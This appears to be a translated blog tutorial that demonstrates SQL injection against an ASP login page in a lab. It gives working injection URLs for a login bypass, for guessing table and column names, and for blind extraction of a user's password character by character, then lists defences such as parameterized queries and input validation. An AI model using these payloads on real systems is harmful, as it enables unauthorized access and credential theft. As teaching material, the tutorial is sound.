Network Security SQL Injection Actual Combat

What is a SQL injection attack? Quoting from Baidu Encyclopedia:

​ SQL injection_Baidu Encyclopedia:

The so-called SQL injection is to insert SQL commands into Web forms to submit or input query strings for domain names or page requests, and finally trick the server into executing malicious SQL commands. Specifically, it is the ability to use existing applications to inject (malicious) SQL commands into the backend database engine for execution. It can get a security vulnerability on a website by entering (malicious) SQL statements in a web form. The database, rather than executing SQL statements according to the designer's intention. [1] For example, many previous film and television websites leaked VIP member passwords, most of which were submitted through WEB forms to submit query characters, and such forms are particularly vulnerable to SQL injection attacks. ​

SQL injection attack refers to the construction of special input as a parameter to pass into the web application program, and these inputs are mostly some combinations in the SQL syntax, by executing the SQL statement to execute the operation the attacker wants, the main reason is that the program is not detailed Filter the data entered by the user accurately, resulting in illegal data intrusion into the system.

detailed steps:

1. Run AspWebServer for the given WEB system

2. Enter the login page for SQL injection vulnerability testing

Normal login:

Username: admin Password: admin

SQL injection vulnerability test:

• Add a single quote after the normal username admin, click "Login"

• Or directly enter http://172.18.3.13:81/login.asp?name=admin'&pass=admin in the URL address bar

• If there is an error, it proves that the ' is not filtered, and there is a SQL injection vulnerability

Add a single quote after the normal username admin, click "Login"

go wrong

Enter http://172.18.3.13:81/login.asp?name=admin'&pass=admin directly in the URL address bar

login error

A login error proves that there is a SQL injection vulnerability.

3. SQL injection attack

Construct a target address that can run normally

• Enter http://172.18.3.13:81/login.asp?name=admin &pass=admin' and '1=1

• The original SQL statement is SELECT * FROM data Where uname='admin', the condition has not changed, but the receiving password is admin' and '1=1

• Login failed

  

• Enter http://172.18.3.13:81/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a

• The original SQL statement is SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'

• login successful

The target address that can run normally has been successfully constructed. At this time, the 1=1 part can be replaced with SQL query statements, and the database table name, field name in the table, user and password length, user and password can be tested in sequence

4. Guess the database table name

• http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a

• If successful, it means that the name of the data table is indeed data; if not successful, you can test repeatedly until you successfully guess the name of the table

5. Guess the database field name

• http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a

• If the user name field is indeed uname, it will prompt that the login is successful

• In the same way, the password field can be guessed as upass

Guess the user name field is name, login error

Guess the user name field is uname, login is successful

Indicates that the username field in the database is uname

Guess the password field is upass, login is successful

Indicates that the password field in the database is upass

6. Guess password length

• It is known that there is a user named "wucm", first guess the password length is greater than 1

• http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a

If successful, it means that the password of the user "wucm" is greater than 1, continue to guess the length of the password is less than 10

• http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a

Success, indicating that the password length of "wucm" is less than 10 characters, continue to guess that the password length is less than 5

• http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<5)>0 and 'a'='a

Error, indicating that the password length of "wucm" is greater than 5 digits, continue to guess that the password length is greater than 8 digits

• http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>8)>0 and 'a'='a

Error, indicating that the password length of "wucm" is less than 8 digits, continue to guess that the password length is equal to 6 digits

• http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)=6)>0 and 'a'='a

Success, indicating that the password length of "wucm" is 6 characters

7. Guess the password

According to the previous test, we already know that the password length of the user is 6 digits, and then guess the password digit by digit:

First test if the first digit is a number

• http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a

Error, indicating that the first digit of the password is not a number, test whether it is a letter

• http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a

If successful, it basically means that the first character of the password is a letter. Next, repeat the test, continuously narrowing the range of letters, and finally confirm that the first character of the password is the letter "w".

• http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a

Success, indicating that the first digit of the password is "w"

In the same way, guess the 6-digit password bit by bit, and finally get the password "wcm987"

So far we have guessed that the password of the user "wucm" is "wcm987", and perform a login test:

The login is successful, proving that the entire guessing process and the final password are correct

---

Ways to prevent SQL injection attacks:

Since the harm of SQL injection attacks is so great, how to prevent them? The following suggestions may be helpful for database administrators to prevent and control SQL injection attacks.

1. There must be a strict distinction between ordinary users and system administrators.
　　If an ordinary user embeds another Drop Table statement in the query statement, is it allowed to execute? Since the Drop statement is related to the basic objects of the database, the user must have relevant permissions to operate this statement. In the authority design, for end users, that is, users of application software, it is not necessary to give them authority to create and delete database objects. So even if there are embedded malicious codes in the SQL statements they use, due to the restriction of their user rights, these codes will not be executed. Therefore, when the application is designed, it is best to distinguish the user of the system administrator from the ordinary user. In this way, the damage caused by injection attacks to the database can be minimized.

2. Force the use of parameterized statements.
　　If the variable entered by the user is not directly embedded in the SQL statement when writing the SQL statement. Instead, if the variable is passed through parameters, then SQL injection attacks can be effectively prevented. In other words, user input must never be directly embedded in SQL statements. In contrast, user input must be filtered, or parameterized statements must be used to pass user-input variables. Parameterized statements use parameters rather than embedding user input variables into the SQL statement. With this measure, most SQL injection attacks can be prevented. But unfortunately, there are not many database engines that support parameterized statements. However, database engineers should try to use parameterized statements when developing products.

3. Strengthen the verification of user input.

　　Generally speaking, two methods can be used to prevent SQL injection attacks. One is to strengthen the inspection and verification of user input content; the other is to force the use of parameterized statements to transmit user input content. In the SQLServer database, there are more user input validation tools that can help administrators deal with SQL injection attacks. Test the contents of a string variable, accepting only required values. Input containing binary data, escape sequences, and comment characters is rejected. This helps prevent script injection and prevents certain buffer overflow attacks. Test the size and data type of user input, enforcing appropriate limits and conversions. This helps to prevent intentional buffer overflows, and has a more obvious effect on preventing injection attacks.
　　For example, you can use stored procedures to validate user input. The stored procedure can be used to filter the user input variables, such as rejecting some special symbols. As in the malicious code above, as long as the stored procedure filters out the semicolon, the malicious code will be useless. Before executing the SQL statement, some special symbols can be rejected through the stored procedure of the database. Under the premise of not affecting the database application, the database should reject the input containing the following characters. Such as the semicolon delimiter, it is the main accomplice of SQL injection attacks. Such as comment delimiters. Comments are only used during data design. There is no need to comment in the general user's query statement, so he can be rejected directly. Usually, there will be no unexpected loss in doing so. If these special symbols are rejected, even if malicious code is embedded in the SQL statement, they will do nothing.
　　Therefore, always validate user input by testing type, length, format, and range, and filter the content entered by the user. This is a common and proven measure to prevent SQL injection attacks.

4. Use the security parameters that come with the SQL Server database.
　　In order to reduce the adverse impact of injection attacks on the SQL Server database, relatively safe SQL parameters are specially designed in the SQL Server database. During the database design process, engineers should try to use these parameters to prevent malicious SQL injection attacks.
　　For example, the Parameters collection is provided in the SQL Server database. This collection provides functionality for type checking and length validation. If the administrator adopts the Parameters collection, the content entered by the user will be regarded as a character value rather than executable code. Even if the content entered by the user contains executable code, the database will filter it out. Because at this time the database only treats it as an ordinary character. Another advantage of using the Parameters collection is that type and length checks can be enforced, and values ​​outside the range will trigger exceptions. If the user enters a value that does not conform to the specified type and length constraints, an exception is raised and reported to the administrator. As in the above case, if the data type defined by the employee number is a string type, the length is 10 characters. Although the content entered by the user is also character type data, its length reaches 20 characters. Then an exception will be thrown at this time, because the length of the content entered by the user exceeds the limit of the length of the database field.

5. How to prevent SQL injection attacks in a multi-tier environment?
　　In a multi-tier application environment, all data entered by users should be verified before being allowed to enter the trusted area. Data that fails the validation process should be rejected by the database and return an error message to the upper layer. Implement multiple layers of authentication. Precautions taken against malicious users without purpose may not be effective against determined attackers. Better practice is to validate input at the UI and at all subsequent points across trust boundaries. Such as validating data in the client application can prevent simple script injection. However, if the next layer thinks its input is validated, any malicious user who can bypass the client can gain unrestricted access to the system. Therefore, for a multi-layer application environment, when preventing injection attacks, all layers need to work together, and corresponding measures must be taken on the client side and the database side to prevent SQL statement injection attacks.

6. If necessary, use professional vulnerability scanning tools to find points that may be attacked.
　　Using professional vulnerability scanning tools can help administrators find points that may be attacked by SQL injection. However, vulnerability scanning tools can only find attack points, but cannot actively defend against SQL injection attacks. Of course, this tool is also often used by attackers. For example, attackers can use this tool to automatically search for attack targets and carry out attacks. To this end, if necessary, enterprises should invest in some professional vulnerability scanning tools. A full-fledged vulnerability scanner is different from a network scanner in that it looks specifically for SQL injection vulnerabilities in databases. An up-to-date vulnerability scanner looks for newly discovered vulnerabilities. Therefore, professional tools can help administrators discover SQL injection vulnerabilities and remind administrators to take active measures to prevent SQL injection attacks. If the database administrator of the SQL injection vulnerability that the attacker can discover has been discovered and has taken active measures to block the vulnerability, then the attacker will have no way to start.

7. Set trap account:

Set up two accounts, one is an ordinary administrator account, and the other is an anti-injection account. Set the anti-injection account to look like an administrator, such as admin, to attract software detection by creating a false appearance, and the password is more than a thousand Chinese characters, forcing the software to enter a full-load state when analyzing the account, or even crash due to resource exhaustion .

Zero-Basic Introduction to Network Security

For students who have never been exposed to network security/penetration testing, I have prepared a detailed learning and growth roadmap for you. It can be said that it is the most scientific and systematic learning route, and it is no problem for everyone to follow this general direction.